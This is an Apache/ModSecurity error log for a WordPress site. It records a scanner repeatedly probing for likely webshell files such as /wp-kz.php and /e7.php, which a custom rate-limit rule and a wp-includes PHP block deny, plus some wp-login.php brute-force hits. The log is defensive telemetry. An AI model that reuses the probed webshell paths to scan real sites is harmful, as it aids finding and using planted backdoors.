[Sat Apr 18 03:17:24.665903 2026] [:error] [pid 7182:tid 7228] [client 4.235.108.154:48291] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ah25.php"] [unique_id "aeKHRHmhT2qj5cszsF31DAAAAE8"]
[Sat Apr 18 03:17:26.271757 2026] [:error] [pid 7297:tid 7320] [client 4.235.108.154:24602] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/006.php"] [unique_id "aeKHRvskyTNS2mWBKwxgbgAAANU"]
[Sat Apr 18 03:17:29.602711 2026] [:error] [pid 7181:tid 7201] [client 4.235.108.154:37049] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/006.php"] [unique_id "aeKHSYEOj_oGYqvsyOL33AAAAA8"]
[Sat Apr 18 03:17:31.118449 2026] [:error] [pid 7182:tid 7220] [client 4.235.108.154:37961] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/006.php"] [unique_id "aeKHS3mhT2qj5cszsF31FAAAAEc"]
[Sat Apr 18 03:17:32.363907 2026] [:error] [pid 7181:tid 7186] [client 4.235.108.154:37986] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/006.php"] [unique_id "aeKHTIEOj_oGYqvsyOL34wAAAAA"]
[Sat Apr 18 03:17:33.772489 2026] [:error] [pid 7182:tid 7237] [client 4.235.108.154:2723] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/samll.php"] [unique_id "aeKHTXmhT2qj5cszsF31FgAAAFg"]
[Sat Apr 18 03:17:34.783383 2026] [:error] [pid 7297:tid 7303] [client 4.235.108.154:2702] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/samll.php"] [unique_id "aeKHTvskyTNS2mWBKwxgkAAAAMQ"]
[Sat Apr 18 03:17:35.681833 2026] [:error] [pid 7182:tid 7222] [client 4.235.108.154:28561] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/samll.php"] [unique_id "aeKHT3mhT2qj5cszsF31HAAAAEk"]
[Sat Apr 18 03:17:37.033593 2026] [:error] [pid 7182:tid 7214] [client 4.235.108.154:41117] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/samll.php"] [unique_id "aeKHUXmhT2qj5cszsF31IwAAAEE"]
[Sat Apr 18 03:17:38.321037 2026] [:error] [pid 7181:tid 7201] [client 4.235.108.154:28601] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zogy1.php"] [unique_id "aeKHUoEOj_oGYqvsyOL36wAAAA8"]
[Sat Apr 18 03:17:40.945780 2026] [:error] [pid 7297:tid 7308] [client 4.235.108.154:28562] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zogy1.php"] [unique_id "aeKHVPskyTNS2mWBKwxgqAAAAMk"]
[Sat Apr 18 03:17:42.956828 2026] [:error] [pid 7182:tid 7224] [client 4.235.108.154:29070] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zogy1.php"] [unique_id "aeKHVnmhT2qj5cszsF31MgAAAEs"]
[Sat Apr 18 03:17:47.042416 2026] [:error] [pid 7297:tid 7319] [client 4.235.108.154:34858] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zogy1.php"] [unique_id "aeKHW_skyTNS2mWBKwxgrAAAANQ"]
[Sat Apr 18 03:17:49.091994 2026] [:error] [pid 7182:tid 7232] [client 4.235.108.154:34813] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aios-bootstrap.php"] [unique_id "aeKHXXmhT2qj5cszsF31OgAAAFM"]
[Sat Apr 18 03:19:30.350488 2026] [:error] [pid 7182:tid 7219] [client 4.235.108.154:33771] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-kz.php"] [unique_id "aeKHwnmhT2qj5cszsF32GQAAAEY"]
[Sat Apr 18 03:19:36.524641 2026] [:error] [pid 7297:tid 7320] [client 4.235.108.154:30394] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-kz.php"] [unique_id "aeKHyPskyTNS2mWBKwxigQAAANU"]
[Sat Apr 18 03:19:39.606740 2026] [:error] [pid 7182:tid 7232] [client 4.235.108.154:49078] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-kz.php"] [unique_id "aeKHy3mhT2qj5cszsF32JQAAAFM"]
[Sat Apr 18 03:19:49.121383 2026] [:error] [pid 7297:tid 7317] [client 4.235.108.154:30337] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-lo.php"] [unique_id "aeKH1fskyTNS2mWBKwxiugAAANI"]
[Sat Apr 18 03:19:54.012061 2026] [:error] [pid 7183:tid 7259] [client 4.235.108.154:26638] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-lo.php"] [unique_id "aeKH2uA91zZXz3qCkYfkPQAAAJM"]
[Sat Apr 18 03:19:59.327653 2026] [:error] [pid 7297:tid 7305] [client 4.235.108.154:44713] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-lo.php"] [unique_id "aeKH3_skyTNS2mWBKwxi3gAAAMY"]
[Sat Apr 18 03:20:09.858990 2026] [:error] [pid 7182:tid 7231] [client 4.235.108.154:44731] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fone1.php"] [unique_id "aeKH6XmhT2qj5cszsF32WAAAAFI"]
[Sat Apr 18 03:20:18.117633 2026] [:error] [pid 7297:tid 7304] [client 4.235.108.154:37517] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fone1.php"] [unique_id "aeKH8vskyTNS2mWBKwxjFgAAAMU"]
[Sat Apr 18 03:20:26.202854 2026] [:error] [pid 7297:tid 7307] [client 4.235.108.154:51703] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Ipv6.php"] [unique_id "aeKH-vskyTNS2mWBKwxjMgAAAMg"]
[Sat Apr 18 03:21:06.597127 2026] [:error] [pid 7183:tid 7244] [client 4.235.108.154:2919] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xy.php"] [unique_id "aeKIIuA91zZXz3qCkYfk2QAAAIQ"]
[Sat Apr 18 03:21:13.016108 2026] [:error] [pid 7183:tid 7242] [client 4.235.108.154:2673] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xy.php"] [unique_id "aeKIKeA91zZXz3qCkYfk8AAAAII"]
[Sat Apr 18 03:21:40.861143 2026] [:error] [pid 7297:tid 7299] [client 4.235.108.154:2701] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aeKIRPskyTNS2mWBKwxkDwAAAMA"]
[Sat Apr 18 03:21:44.228904 2026] [:error] [pid 7297:tid 7303] [client 4.235.108.154:48621] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aeKISPskyTNS2mWBKwxkEgAAAMQ"]
[Sat Apr 18 03:21:45.619215 2026] [:error] [pid 7183:tid 7240] [client 4.235.108.154:28500] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aeKISeA91zZXz3qCkYflSAAAAIA"]
[Sat Apr 18 03:21:47.047313 2026] [:error] [pid 7297:tid 7315] [client 4.235.108.154:30562] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aeKIS_skyTNS2mWBKwxkGgAAANA"]
[Sat Apr 18 03:21:49.871017 2026] [:error] [pid 7181:tid 7207] [client 4.235.108.154:23856] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/link.php"] [unique_id "aeKITYEOj_oGYqvsyOL5UgAAABU"]
[Sat Apr 18 03:21:52.650656 2026] [:error] [pid 7297:tid 7323] [client 4.235.108.154:2739] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/link.php"] [unique_id "aeKIUPskyTNS2mWBKwxkJwAAANg"]
[Sat Apr 18 03:21:55.305583 2026] [:error] [pid 7181:tid 7206] [client 4.235.108.154:50178] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/link.php"] [unique_id "aeKIU4EOj_oGYqvsyOL5YgAAABQ"]
[Sat Apr 18 03:22:17.583852 2026] [:error] [pid 7183:tid 7248] [client 4.235.108.154:35115] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/wincust.php"] [unique_id "aeKIaeA91zZXz3qCkYflcgAAAIg"]
[Sat Apr 18 03:23:03.397154 2026] [:error] [pid 7297:tid 7310] [client 4.235.108.154:33036] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e7.php"] [unique_id "aeKIl_skyTNS2mWBKwxk1QAAAMs"]
[Sat Apr 18 03:23:05.932072 2026] [:error] [pid 7183:tid 7242] [client 4.235.108.154:35602] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e7.php"] [unique_id "aeKImeA91zZXz3qCkYfl6wAAAII"]
[Sat Apr 18 03:23:06.651054 2026] [:error] [pid 7297:tid 7299] [client 4.235.108.154:45479] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e7.php"] [unique_id "aeKImvskyTNS2mWBKwxk3QAAAMA"]
[Sat Apr 18 03:23:07.532171 2026] [:error] [pid 7297:tid 7301] [client 4.235.108.154:36485] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e7.php"] [unique_id "aeKIm_skyTNS2mWBKwxk4QAAAMI"]
[Sat Apr 18 03:23:08.623407 2026] [:error] [pid 7297:tid 7320] [client 4.235.108.154:27368] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e3.php"] [unique_id "aeKInPskyTNS2mWBKwxk5gAAANU"]
[Sat Apr 18 03:23:09.770352 2026] [:error] [pid 7297:tid 7299] [client 4.235.108.154:39663] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e3.php"] [unique_id "aeKInfskyTNS2mWBKwxk6wAAAMA"]
[Sat Apr 18 03:23:10.585397 2026] [:error] [pid 7183:tid 7243] [client 4.235.108.154:48984] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e3.php"] [unique_id "aeKInuA91zZXz3qCkYfl-AAAAIM"]
[Sat Apr 18 03:23:12.868219 2026] [:error] [pid 7182:tid 7236] [client 4.235.108.154:26012] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e3.php"] [unique_id "aeKIoHmhT2qj5cszsF33PQAAAFc"]
[Sat Apr 18 03:23:14.811309 2026] [:error] [pid 7297:tid 7319] [client 4.235.108.154:26032] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aevly.php"] [unique_id "aeKIovskyTNS2mWBKwxk_wAAANQ"]
[Sat Apr 18 03:23:17.038362 2026] [:error] [pid 7182:tid 7222] [client 4.235.108.154:37450] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aevly.php"] [unique_id "aeKIpXmhT2qj5cszsF33QgAAAEk"]
[Sat Apr 18 03:23:20.181316 2026] [:error] [pid 7183:tid 7258] [client 4.235.108.154:46178] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aevly.php"] [unique_id "aeKIqOA91zZXz3qCkYfmFQAAAJI"]
[Sat Apr 18 03:23:20.816132 2026] [:error] [pid 7297:tid 7323] [client 51.222.116.95:32878] [client 51.222.116.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.222.116.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKIqPskyTNS2mWBKwxlEgAAANg"]
[Sat Apr 18 03:23:22.190433 2026] [:error] [pid 7297:tid 7321] [client 51.222.116.95:32878] [client 51.222.116.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.222.116.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKIqvskyTNS2mWBKwxlFQAAANY"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 03:23:25.488293 2026] [:error] [pid 7297:tid 7303] [client 4.235.108.154:26847] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aevly.php"] [unique_id "aeKIrfskyTNS2mWBKwxlIAAAAMQ"]
[Sat Apr 18 03:23:30.831653 2026] [:error] [pid 7297:tid 7312] [client 4.235.108.154:27192] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aeKIsvskyTNS2mWBKwxlNwAAAM0"]
[Sat Apr 18 03:23:32.512247 2026] [:error] [pid 7297:tid 7316] [client 4.235.108.154:46212] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aeKItPskyTNS2mWBKwxlPwAAANE"]
[Sat Apr 18 03:23:34.734798 2026] [:error] [pid 7297:tid 7313] [client 4.235.108.154:2984] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aeKItvskyTNS2mWBKwxlSgAAAM4"]
[Sat Apr 18 03:23:36.471700 2026] [:error] [pid 7182:tid 7234] [client 4.235.108.154:48652] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aeKIuHmhT2qj5cszsF33WwAAAFU"]
[Sat Apr 18 03:23:37.339717 2026] [:error] [pid 7297:tid 7317] [client 4.235.108.154:2832] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class.php"] [unique_id "aeKIufskyTNS2mWBKwxlTQAAANI"]
[Sat Apr 18 03:23:40.461086 2026] [:error] [pid 7297:tid 7310] [client 4.235.108.154:3054] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class.php"] [unique_id "aeKIvPskyTNS2mWBKwxlVwAAAMs"]
[Sat Apr 18 03:23:45.495250 2026] [:error] [pid 7183:tid 7263] [client 4.235.108.154:44774] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class.php"] [unique_id "aeKIweA91zZXz3qCkYfmPAAAAJc"]
[Sat Apr 18 03:23:52.805804 2026] [:error] [pid 7181:tid 7205] [client 4.235.108.154:31164] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class.php"] [unique_id "aeKIyIEOj_oGYqvsyOL54gAAABM"]
[Sat Apr 18 03:24:35.841344 2026] [:error] [pid 7297:tid 7301] [client 4.235.108.154:29001] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/error_log.php"] [unique_id "aeKI8_skyTNS2mWBKwxmQAAAAMI"]
